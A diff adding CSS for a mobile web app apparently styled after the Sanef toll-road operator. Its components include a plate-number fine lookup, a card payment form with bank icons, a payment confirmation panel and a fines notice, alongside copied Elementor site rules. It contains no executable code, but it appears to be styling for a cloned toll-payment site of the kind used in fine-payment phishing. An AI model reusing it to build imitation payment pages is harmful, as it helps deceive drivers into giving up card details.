.elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-511a31e[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-511a31e .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-511a31e .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-511a31e .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-2923eb4>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-2923eb4 .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-700350b .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-700350b .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-700350b[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-700350b .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-700350b .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-700350b .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-2524347[data-v-152897e2] { + --display: flex; + --flex-direction: column; + --container-widget-width: 100%; + --container-widget-height: initial; + --container-widget-flex-grow: 0; + --container-widget-align-self: initial; + --flex-wrap-mobile: wrap; + --padding-top: 40px; + --padding-bottom: 40px; + --padding-left: 0px; + --padding-right: 0px + } + + .elementor-709 .elementor-element.elementor-element-2524347[data-v-152897e2]:not(.elementor-motion-effects-element-type-background) { + background-color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-9bb2f9c>.elementor-widget-container[data-v-152897e2] { + margin: 0 0 16px; + padding: 10px 0 0 + } + + .elementor-709 .elementor-element.elementor-element-9bb2f9c[data-v-152897e2] { + text-align: center + } + + .elementor-709 .elementor-element.elementor-element-9bb2f9c .elementor-heading-title[data-v-152897e2] { + color: #fff + } + + .elementor-709 .elementor-element.elementor-element-4ee6311[data-v-152897e2] { + text-align: center; + color: #fff + } + + @media(max-width:1024px) { + .elementor-709 .elementor-element.elementor-element-f5b3eb4[data-v-152897e2] { + padding: 80px 40px 64px + } + + .elementor-709 .elementor-element.elementor-element-61a35b9>.elementor-element-populated[data-v-152897e2] { + margin: 0 0 56px; + --e-column-margin-right: 0px; + --e-column-margin-left: 0px + } + } + + @media(max-width:767px) { + .elementor-709 .elementor-element.elementor-element-f5b3eb4[data-v-152897e2] { + padding: 64px 24px 56px + } + + .elementor-709 .elementor-element.elementor-element-d5d9091>.elementor-element-populated[data-v-152897e2] { + margin: 0 0 40px; + --e-column-margin-right: 0px; + --e-column-margin-left: 0px + } + + .elementor-709 .elementor-element.elementor-element-3483bce[data-v-152897e2] { + width: 100%; + max-width: 100% + } + + .elementor-709 .elementor-element.elementor-element-61a35b9>.elementor-element-populated[data-v-152897e2] { + margin: 0 0 40px; + --e-column-margin-right: 0px; + --e-column-margin-left: 0px + } + + .elementor-709 .elementor-element.elementor-element-cf9baa2>.elementor-element-populated[data-v-152897e2] { + margin: 0 0 40px; + --e-column-margin-right: 0px; + --e-column-margin-left: 0px + } + + .elementor-709 .elementor-element.elementor-element-8fc1f3e[data-v-152897e2], + .elementor-709 .elementor-element.elementor-element-1fb99e4[data-v-152897e2] { + width: 50% + } + } + + @media(min-width:768px) { + .elementor-709 .elementor-element.elementor-element-d5d9091[data-v-152897e2] { + width: 30% + } + + .elementor-709 .elementor-element.elementor-element-61a35b9[data-v-152897e2] { + width: 20% + } + + .elementor-709 .elementor-element.elementor-element-cf9baa2[data-v-152897e2], + .elementor-709 .elementor-element.elementor-element-8fc1f3e[data-v-152897e2] { + width: 15% + } + + .elementor-709 .elementor-element.elementor-element-1fb99e4[data-v-152897e2] { + width: 20% + } + } + + @media(max-width:1024px)and (min-width:768px) { + + .elementor-709 .elementor-element.elementor-element-d5d9091[data-v-152897e2], + .elementor-709 .elementor-element.elementor-element-61a35b9[data-v-152897e2] { + width: 50% + } + + .elementor-709 .elementor-element.elementor-element-cf9baa2[data-v-152897e2], + .elementor-709 .elementor-element.elementor-element-8fc1f3e[data-v-152897e2], + .elementor-709 .elementor-element.elementor-element-1fb99e4[data-v-152897e2] { + width: 33% + } + } +} + +.elementor-widget-heading h5.elementor-heading-title[data-v-152897e2] { + line-height: 1.2em +} + +@media all { + .elementor-widget .elementor-icon-list-items[data-v-152897e2] { + list-style-type: none; + margin: 0; + padding: 0 + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2] { + margin: 0; + padding: 0; + position: relative + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2]:after { + inset-block-end: 0; + position: absolute; + width: 100% + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2], + .elementor-widget .elementor-icon-list-item a[data-v-152897e2] { + align-items: var(--icon-vertical-align, center); + display: flex; + font-size: inherit + } + + .elementor-widget .elementor-icon-list-icon+.elementor-icon-list-text[data-v-152897e2] { + align-self: center; + padding-inline-start: 5px + } + + .elementor-widget .elementor-icon-list-icon[data-v-152897e2] { + display: flex; + inset-block-start: var(--icon-vertical-offset, initial); + position: relative + } + + .elementor-widget .elementor-icon-list-icon svg[data-v-152897e2] { + height: var(--e-icon-list-icon-size, 1em); + width: var(--e-icon-list-icon-size, 1em) + } + + .elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon svg[data-v-152897e2] { + margin: var(--e-icon-list-icon-margin, 0 calc(var(--e-icon-list-icon-size, 1em) * .25) 0 0) + } + + .elementor-widget.elementor-list-item-link-full_width a[data-v-152897e2] { + width: 100% + } + + .elementor-widget:not(.elementor-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + + @media(min-width:-1) { + .elementor-widget:not(.elementor-widescreen-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-widescreen-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:-1) { + .elementor-widget:not(.elementor-laptop-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-laptop-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + + .elementor-widget:not(.elementor-tablet_extra-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-tablet_extra-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:1024px) { + .elementor-widget:not(.elementor-tablet-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-tablet-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:-1) { + .elementor-widget:not(.elementor-mobile_extra-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-mobile_extra-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:767px) { + .elementor-widget:not(.elementor-mobile-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-mobile-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + .elementor .elementor-element ul.elementor-icon-list-items[data-v-152897e2] { + padding: 0 + } +} + +@media all { + .elementor-widget .elementor-icon-list-items[data-v-152897e2] { + list-style-type: none; + margin: 0; + padding: 0 + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2] { + margin: 0; + padding: 0; + position: relative + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2]:after { + inset-block-end: 0; + position: absolute; + width: 100% + } + + .elementor-widget .elementor-icon-list-item[data-v-152897e2], + .elementor-widget .elementor-icon-list-item a[data-v-152897e2] { + align-items: var(--icon-vertical-align, center); + display: flex; + font-size: inherit + } + + .elementor-widget .elementor-icon-list-icon+.elementor-icon-list-text[data-v-152897e2] { + align-self: center; + padding-inline-start: 5px + } + + .elementor-widget .elementor-icon-list-icon[data-v-152897e2] { + display: flex; + inset-block-start: var(--icon-vertical-offset, initial); + position: relative + } + + .elementor-widget .elementor-icon-list-icon svg[data-v-152897e2] { + height: var(--e-icon-list-icon-size, 1em); + width: var(--e-icon-list-icon-size, 1em) + } + + .elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon[data-v-152897e2] { + text-align: var(--e-icon-list-icon-align) + } + + .elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon svg[data-v-152897e2] { + margin: var(--e-icon-list-icon-margin, 0 calc(var(--e-icon-list-icon-size, 1em) * .25) 0 0) + } + + .elementor-widget.elementor-list-item-link-full_width a[data-v-152897e2] { + width: 100% + } + + .elementor-widget:not(.elementor-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + + @media(min-width:-1) { + .elementor-widget:not(.elementor-widescreen-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-widescreen-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:-1) { + .elementor-widget:not(.elementor-laptop-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-laptop-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + + .elementor-widget:not(.elementor-tablet_extra-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-tablet_extra-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:1024px) { + .elementor-widget:not(.elementor-tablet-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-tablet-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:-1) { + .elementor-widget:not(.elementor-mobile_extra-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-mobile_extra-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + @media(max-width:767px) { + .elementor-widget:not(.elementor-mobile-align-end) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-start: 0 + } + + .elementor-widget:not(.elementor-mobile-align-start) .elementor-icon-list-item[data-v-152897e2]:after { + inset-inline-end: 0 + } + } + + .elementor .elementor-element ul.elementor-icon-list-items[data-v-152897e2] { + padding: 0 + } +} + +@media all { + .elementor-widget-social-icons.elementor-grid-0 .elementor-widget-container[data-v-152897e2] { + font-size: 0; + line-height: 1 + } + + .elementor-widget-social-icons .elementor-grid[data-v-152897e2] { + grid-column-gap: var(--grid-column-gap, 5px); + grid-row-gap: var(--grid-row-gap, 5px); + grid-template-columns: var(--grid-template-columns); + justify-content: var(--justify-content, center); + justify-items: var(--justify-content, center) + } + + .elementor-icon.elementor-social-icon[data-v-152897e2] { + font-size: var(--icon-size, 25px); + height: calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em)); + line-height: var(--icon-size, 25px); + width: calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em)) + } + + .elementor-social-icon[data-v-152897e2] { + --e-social-icon-icon-color: #fff; + align-items: center; + background-color: #69727d; + cursor: pointer; + display: inline-flex; + justify-content: center; + text-align: center + } + + .elementor-social-icon svg[data-v-152897e2] { + fill: var(--e-social-icon-icon-color) + } + + .elementor-social-icon[data-v-152897e2]:last-child { + margin: 0 + } + + .elementor-social-icon[data-v-152897e2]:hover { + color: #fff; + opacity: .9 + } + + .elementor-social-icon-facebook[data-v-152897e2] { + background-color: #3b5998 + } + + .elementor-social-icon-instagram[data-v-152897e2] { + background-color: #262626 + } + + .elementor-social-icon-linkedin[data-v-152897e2] { + background-color: #0077b5 + } +} + +@media all { + .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid[data-v-152897e2] { + display: inline-block + } + + .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid[data-v-152897e2], + .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item[data-v-152897e2] { + margin-inline: 0 + } +} + +@font-face { + font-family: Poppins; + font-style: normal; + font-weight: 500; + font-display: fallback; + src: url(./BkEh0D3M.woff2) format("woff2"); + unicode-range: U+0900-097F, U+1CD0-1CF9, U+200C-200D, U+20A8, U+20B9, U+20F0, U+25CC, U+A830-A839, U+A8E0-A8FF, U+11B00-11B09 +} + +@font-face { + font-family: Poppins; + font-style: normal; + font-weight: 500; + font-display: fallback; + src: url(/Static_zy/1.woff2) format("woff2"); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD +} + +.elementor-709 .elementor-widget-text-editor .elementor-widget-container[data-v-152897e2] { + font-size: 14.592px +} + +html, +body { + margin: 0; + padding: 0 +} + +.index-sanef[data-v-4543258e] { + --sanef-magenta: #c2005f; + --sanef-yellow: #003859; + --sanef-text: #333333; + --sanef-grey-bg: #efefef; + --sanef-card-border: #e0e0e0; + --hero-head-title: #ffffff; + --hero-head-subtitle: #ffffff; + max-width: 430px; + margin: 0 auto; + min-height: 100%; + font-family: system-ui, -apple-system, Segoe UI, Roboto, Helvetica Neue, Arial, sans-serif; + color: var(--sanef-text); + -webkit-font-smoothing: antialiased +} + +.hero[data-v-4543258e] { + position: relative; + overflow: hidden; + background: #fff +} + +.hero-head[data-v-4543258e] { + position: relative; + background-color: #003b5c; + background-image: linear-gradient(180deg, #002439e0, #002439c7 40%, #002439d1), url(./nA3Ekfar.webp); + background-repeat: no-repeat, no-repeat; + background-position: center, center; + background-size: cover, cover; + text-align: left; + padding: 3rem 1.5rem 2.75rem; + min-height: 12rem; + box-sizing: border-box +} + +.hero-inner[data-v-4543258e] { + position: relative; + z-index: 1; + display: flex; + flex-direction: column; + align-items: center; + gap: 1.25rem; + padding: 1rem 1.125rem 1.75rem +} + +.alert-banner[data-v-4543258e] { + display: flex; + align-items: center; + justify-content: center; + gap: .5rem; + width: 100%; + max-width: 100%; + padding: .65rem .85rem; + background: var(--sanef-yellow); + border-radius: 10px; + box-shadow: 0 1px 3px #0000001f +} + +.alert-icon[data-v-4543258e] { + flex-shrink: 0; + display: flex; + align-items: center +} + +.alert-text[data-v-4543258e] { + font-size: 12px; + font-weight: 600; + color: #1a1a1a; + line-height: 1.35; + text-align: center +} + +.hero-title[data-v-4543258e] { + margin: 0 0 .5rem; + padding: 0; + font-size: 1.75rem; + font-weight: 700; + line-height: 1.2; + text-align: left; + color: var(--hero-head-title); + text-shadow: 0 0 2px rgba(0, 0, 0, .85), 0 2px 14px rgba(0, 0, 0, .55), 0 1px 3px rgba(0, 0, 0, .9) +} + +.hero-subtitle[data-v-4543258e] { + margin: 0; + padding: 0; + font-size: .9375rem; + font-weight: 500; + line-height: 1.45; + text-align: left; + color: var(--hero-head-subtitle); + letter-spacing: .06em; + text-shadow: 0 0 2px rgba(0, 0, 0, .8), 0 2px 10px rgba(0, 0, 0, .5), 0 1px 2px rgba(0, 0, 0, .85) +} + +.card[data-v-4543258e] { + background: #fff; + border-radius: 14px; + box-shadow: 0 4px 20px #00000014 +} + +.card-pay[data-v-4543258e] { + width: 100%; + padding: 1.35rem 1.25rem 1.5rem; + text-align: center +} + +.card-pay-title[data-v-4543258e] { + margin: 0 0 .5rem; + font-size: 1.0625rem; + font-weight: 700; + color: var(--sanef-text); + line-height: 1.3 +} + +.card-pay-sub[data-v-4543258e] { + margin: 0 0 .65rem; + font-size: .9375rem; + font-weight: 400; + color: #555; + line-height: 1.45 +} + +.link-more[data-v-4543258e] { + display: inline; + margin: 0 0 1.15rem; + padding: 0; + border: none; + background: none; + font-size: .9375rem; + color: var(--sanef-magenta); + text-decoration: underline; + text-underline-offset: 3px; + cursor: pointer; + font-family: inherit +} + +.btn-stack[data-v-4543258e] { + display: flex; + flex-direction: column; + gap: .65rem +} + +.btn[data-v-4543258e] { + display: block; + width: 100%; + padding: .85rem 1rem; + border-radius: 10px; + font-size: .9375rem; + font-weight: 600; + font-family: inherit; + cursor: pointer; + border: 2px solid transparent; + line-height: 1.3; + transition: opacity .15s ease +} + +.btn[data-v-4543258e]:active { + opacity: .88 +} + +.btn-primary[data-v-4543258e] { + background: var(--sanef-magenta); + color: #fff; + border-color: var(--sanef-magenta) +} + +.btn-secondary[data-v-4543258e] { + background: #fff; + color: var(--sanef-magenta); + border-color: var(--sanef-magenta) +} + +.btn-block[data-v-4543258e] { + margin-top: .25rem +} + +.section-grey[data-v-4543258e] { + --violation-section-bg: #eef2f6; + --violation-navy: #003366; + --violation-mustard: #9e7d31; + --violation-input-border: #d8dde4; + background: var(--violation-section-bg); + padding: 1.75rem 1.125rem 2.25rem; + text-align: left +} + +.violation-warning[data-v-4543258e] { + margin: 0 0 1rem; + font-size: .9375rem; + font-weight: 400; + line-height: 1.5; + color: var(--sanef-text) +} + +.violation-lookup-hint[data-v-4543258e] { + margin: 0 0 1rem; + font-size: .9375rem; + font-weight: 400; + line-height: 1.45; + color: var(--sanef-text) +} + +.violation-lookup-form[data-v-4543258e] { + display: flex; + flex-direction: column; + gap: .75rem +} + +.plate-label[data-v-4543258e] { + display: block; + margin: 0; + font-size: 1rem; + font-weight: 700; + line-height: 1.35; + color: var(--violation-navy) +} + +.plate-input[data-v-4543258e] { + box-sizing: border-box; + width: 100%; + padding: .8rem .9rem; + border: 1px solid var(--violation-input-border); + border-radius: 10px; + background: #fff; + font-size: .9375rem; + font-family: inherit; + color: var(--sanef-text); + line-height: 1.3 +} + +.plate-input[data-v-4543258e]::placeholder { + color: #9aa3ad +} + +.plate-input[data-v-4543258e]:focus { + outline: 2px solid rgba(0, 51, 102, .25); + outline-offset: 1px +} + +.plate-input[aria-invalid=true][data-v-4543258e] { + border-color: #c2005f +} + +.plate-error[data-v-4543258e] { + margin: 0; + font-size: .875rem; + font-weight: 600; + line-height: 1.35; + color: #c2005f +} + +.btn-violation-lookup[data-v-4543258e] { + display: block; + width: 100%; + margin-top: .15rem; + padding: .85rem 1rem; + border-radius: 10px; + font-size: .9375rem; + font-weight: 700; + font-family: inherit; + line-height: 1.3; + cursor: pointer; + border: none; + background: var(--violation-mustard); + color: #fff; + transition: opacity .15s ease +} + +.btn-violation-lookup[data-v-4543258e]:active { + opacity: .9 +} + +.payment-page[data-v-05be17b8] { + --pay-navy: #003b5c; + --pay-navy-deep: #002a42; + --pay-slate-bg: #eef2f6; + --pay-slate-mid: #e2eaf2; + --pay-gold: #9a7b3a; + --pay-gold-hover: #8a6d34; + width: 100%; + box-sizing: border-box; + background: linear-gradient(180deg, var(--pay-slate-mid) 0%, var(--pay-slate-bg) 35%, #e4ebf0 100%); + font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, sans-serif; + border-top: 5px solid var(--pay-navy); + padding: 1.5rem 1rem 3rem +} + +.payment-wrap[data-v-05be17b8] { + max-width: 440px; + margin: 0 auto +} + +.payment-hero[data-v-05be17b8] { + margin-bottom: 1.25rem; + padding: 1.35rem 1.25rem 1.5rem; + border-radius: 12px; + background: linear-gradient(165deg, var(--pay-navy) 0%, var(--pay-navy-deep) 100%); + box-shadow: 0 6px 24px #00243938 +} + +.payment-hero-title[data-v-05be17b8] { + margin: 0 0 .75rem; + font-size: 1.5rem; + font-weight: 700; + color: #fff; + line-height: 1.25; + letter-spacing: -.02em; + text-shadow: 0 1px 2px rgba(0, 0, 0, .2) +} + +.payment-hero-privacy[data-v-05be17b8] { + display: flex; + align-items: flex-start; + gap: .5rem; + margin: 0; + font-size: .875rem; + line-height: 1.5; + color: #ffffffe6 +} + +.payment-shield[data-v-05be17b8] { + flex-shrink: 0; + margin-top: 1px; + display: flex +} + +.payment-form[data-v-05be17b8] { + width: 100% +} + +.payment-form[data-v-05be17b8] form.form-payment-container { + max-width: 100% !important; + margin: 0 !important; + padding: 1.75rem 1.5rem 1.5rem !important; + background: #fff !important; + border-radius: 12px !important; + box-shadow: 0 4px 20px #1c283414 !important; + border: none !important; + box-sizing: border-box +} + +.payment-form[data-v-05be17b8] .form-payment-header { + margin: 0 !important; + padding: 0 !important; + border: none !important; + min-height: 0 !important +} + +.payment-form[data-v-05be17b8] .form-payment-body { + display: flex; + flex-direction: column; + gap: 1.25rem; + margin: 0 !important; + padding: 0 !important +} + +.payment-form[data-v-05be17b8] .form-row:nth-child(2) { + display: flex; + flex-direction: column +} + +.payment-form[data-v-05be17b8] .form-row:nth-child(2) .form-field-wrapper { + width: 100% +} + +.bank-icons-container[data-v-05be17b8] { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: .5rem .75rem; + margin-top: .625rem +} + +.bank-icons-container[data-v-05be17b8] img, +.bank-icons-container[data-v-05be17b8] svg { + height: 1.375rem; + width: auto; + max-width: 2.75rem; + object-fit: contain +} + +.payment-form[data-v-05be17b8] .form-row:nth-child(2) .sailors-input-suffix:not(:has(svg)):before { + content: ""; + display: block; + width: 26px; + height: 18px; + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 40 28' fill='none'%3E%3Crect x='1' y='5' width='38' height='18' rx='3' stroke='%2399a3ad' stroke-width='1.5'/%3E%3Crect x='4' y='17' width='10' height='3' rx='0.5' fill='%23c5ccd3'/%3E%3C/svg%3E") center / contain no-repeat; + opacity: .9 +} + +.payment-form[data-v-05be17b8] .form-row-group { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 1rem +} + +.payment-form[data-v-05be17b8] .sailors-input-label-text:before { + content: "* "; + color: #d32f2f; + font-weight: 600 +} + +.payment-form[data-v-05be17b8] .sailors-input { + border: 1px solid #d5dbe3; + border-radius: 8px; + padding: 10px 40px 10px 12px; + font-size: 1rem; + transition: border-color .2s ease +} + +.payment-form[data-v-05be17b8] .sailors-input:focus { + outline: none; + border-color: #90a4ae; + box-shadow: none +} + +.payment-form[data-v-05be17b8] .sailors-input::placeholder { + color: #9aa5b1 +} + +.payment-form[data-v-05be17b8] .sailors-input-label { + font-size: .875rem; + font-weight: 500; + color: #3d4f5f +} + +.payment-form[data-v-05be17b8] .form-payment-footer { + margin-top: 1.5rem !important; + padding: 0 !important; + border: none !important; + display: flex; + flex-direction: column; + align-items: stretch +} + +.payment-footer-stack[data-v-05be17b8] { + width: 100%; + display: flex; + flex-direction: column; + gap: 1.25rem +} + +.payment-submit-btn[data-v-05be17b8] { + width: 100%; + box-sizing: border-box; + background: var(--pay-gold); + color: #fff; + border: none; + border-radius: 8px; + padding: .9rem 1.25rem; + font-size: 1rem; + font-weight: 700; + cursor: pointer; + font-family: inherit; + box-shadow: 0 2px 8px #0024391f; + transition: background .15s ease, opacity .15s ease +} + +.payment-submit-btn[data-v-05be17b8]:hover { + background: var(--pay-gold-hover) +} + +.payment-submit-btn[data-v-05be17b8]:active { + opacity: .95 +} + +.payment-brand-footer[data-v-05be17b8] { + margin: 0; + font-size: .8125rem; + line-height: 1.55; + color: #3d4d5c +} + +@media(max-width:480px) { + .payment-page[data-v-05be17b8] { + padding: 1.25rem .875rem 2rem + } + + .payment-hero-title[data-v-05be17b8] { + font-size: 1.35rem + } + + .payment-form[data-v-05be17b8] form.form-payment-container { + padding: 1.5rem 1.125rem 1.25rem !important + } +} + +.payment-form .form-payment-footer { + background: transparent !important +} + +[data-v-f78990ff] { + box-sizing: border-box +} + +.toll-roads-container[data-v-f78990ff] { + background: #fff; + font-family: Arial, Helvetica, sans-serif; + padding: 2rem 0 +} + +.main-content[data-v-f78990ff] { + max-width: 100%; + margin: 0 auto +} + +.content-wrapper[data-v-f78990ff] { + max-width: 600px; + margin: 0 auto; + padding: 0 1rem +} + +.content-inner[data-v-f78990ff] { + background: #fff +} + +.success-panel[data-v-f78990ff] { + text-align: center; + padding: 3rem 2rem; + margin-bottom: 2rem; + background: #003859; + border-radius: 0; + color: #fff; + border: none +} + +.success-icon[data-v-f78990ff] { + margin-bottom: 20px; + display: flex; + justify-content: center; + align-items: center +} + +.success-icon svg[data-v-f78990ff] { + animation: fadeIn-f78990ff .5s ease-out +} + +.success-icon svg circle[data-v-f78990ff] { + fill: #fff; + opacity: .15 +} + +.success-icon svg path[data-v-f78990ff] { + stroke: #fff +} + +@keyframes fadeIn-f78990ff { + 0% { + opacity: 0 + } + + to { + opacity: 1 + } +} + +.success-title[data-v-f78990ff] { + font-size: 2rem; + font-weight: 700; + margin: 0 0 1rem; + line-height: 1.3; + color: #fff +} + +.success-lead[data-v-f78990ff] { + font-size: 1.125rem; + line-height: 1.6; + margin: 0; + color: #fff; + opacity: .95 +} + +.payment-summary-card[data-v-f78990ff] { + background: #fff; + border: 1px solid #d1d5db; + border-radius: 0; + margin: 2rem 0; + overflow: hidden; + box-shadow: none; + padding: 0 10px +} + +.summary-title[data-v-f78990ff] { + font-size: 1.375rem; + font-weight: 700; + color: #003859; + background: transparent; + margin: 0; + padding: 1.5rem 0 1rem; + border-bottom: 2px solid #003859 +} + +.summary-list[data-v-f78990ff] { + padding: 0 +} + +.summary-row[data-v-f78990ff] { + display: flex; + justify-content: space-between; + align-items: center; + padding: 1rem 0; + border-bottom: 1px solid #e5e7eb +} + +.summary-row[data-v-f78990ff]:last-child { + border-bottom: none +} + +.summary-label[data-v-f78990ff] { + font-size: .9375rem; + font-weight: 600; + color: #003859; + flex: 1 +} + +.summary-value[data-v-f78990ff] { + font-size: 1rem; + font-weight: 600; + color: #1a1a1a; + text-align: right; + flex: 1 +} + +.amount-value[data-v-f78990ff] { + font-size: 1.25rem; + font-weight: 700; + color: #003859 +} + +.reference-value[data-v-f78990ff] { + font-family: Courier New, Courier, monospace; + font-size: .9375rem; + color: #333; + word-break: break-all +} + +.summary-text-box[data-v-f78990ff] { + margin-top: 2rem; + padding: 1.5rem; + background: #f9fafb; + border-left: 4px solid #003859; + border-right: 1px solid #e5e7eb; + border-top: 1px solid #e5e7eb; + border-bottom: 1px solid #e5e7eb; + border-radius: 0 +} + +.summary-text[data-v-f78990ff] { + font-size: .9375rem; + line-height: 1.6; + color: #333; + margin: 0 +} + +.notice-box[data-v-f78990ff] { + margin-top: 1rem; + padding: 1rem 1.25rem; + border: 1px solid #f0c5dc; + background: #fff8fc +} + +.notice-title[data-v-f78990ff] { + margin: 0 0 .5rem; + font-size: 1rem; + font-weight: 700; + color: #003859 +} + +.notice-body[data-v-f78990ff] { + margin: 0; + font-size: .9375rem; + line-height: 1.5; + color: #444 +} + +@media(max-width:40em) { + .toll-roads-container[data-v-f78990ff] { + padding: 1.5rem 0 + } + + .content-wrapper[data-v-f78990ff] { + padding: 0 .75rem + } + + .success-panel[data-v-f78990ff] { + padding: 2rem 1rem; + margin-bottom: 1.5rem + } + + .success-title[data-v-f78990ff] { + font-size: 1.5rem + } + + .success-lead[data-v-f78990ff] { + font-size: 1rem + } + + .summary-title[data-v-f78990ff] { + font-size: 1.125rem; + padding: 1rem 0 .75rem + } + + .summary-row[data-v-f78990ff] { + flex-direction: column; + align-items: flex-start; + padding: .875rem 0; + gap: .5rem + } + + .summary-label[data-v-f78990ff] { + width: 100%; + font-size: .875rem + } + + .summary-value[data-v-f78990ff] { + width: 100%; + text-align: left; + font-size: .9375rem + } + + .amount-value[data-v-f78990ff] { + font-size: 1.125rem + } + + .summary-text-box[data-v-f78990ff] { + padding: 1rem; + margin-top: 1.5rem + } + + .summary-text[data-v-f78990ff] { + font-size: .875rem + } +} + +.fines-notice[data-v-c00aef17] { + --notice-text: #333333; + --notice-red: #e50000; + --notice-border: #e8e8e8; + --notice-label-bg: #f9f9f9; + --notice-footer-bg: #e4ebf0; + --notice-btn-gold: #9a7b3a; + --notice-btn-gold-hover: #8a6d34; + --notice-navy: #1a2b4b; + font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, sans-serif; + background: #fff; + padding: 0; + box-sizing: border-box; + min-height: 100%; + color: var(--notice-text) +} + +.fines-notice__top-strip[data-v-c00aef17] { + height: 5px; + width: 100%; + background: #e8f2f8; + flex-shrink: 0 +} + +.fines-notice__frame[data-v-c00aef17] { + max-width: 430px; + margin: 0 auto; + padding: 12px 16px 0 +} + +.notice-site-head[data-v-c00aef17] { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 12px; + padding-bottom: 14px; + margin-bottom: 16px; + border-bottom: 1px solid var(--notice-border) +} + 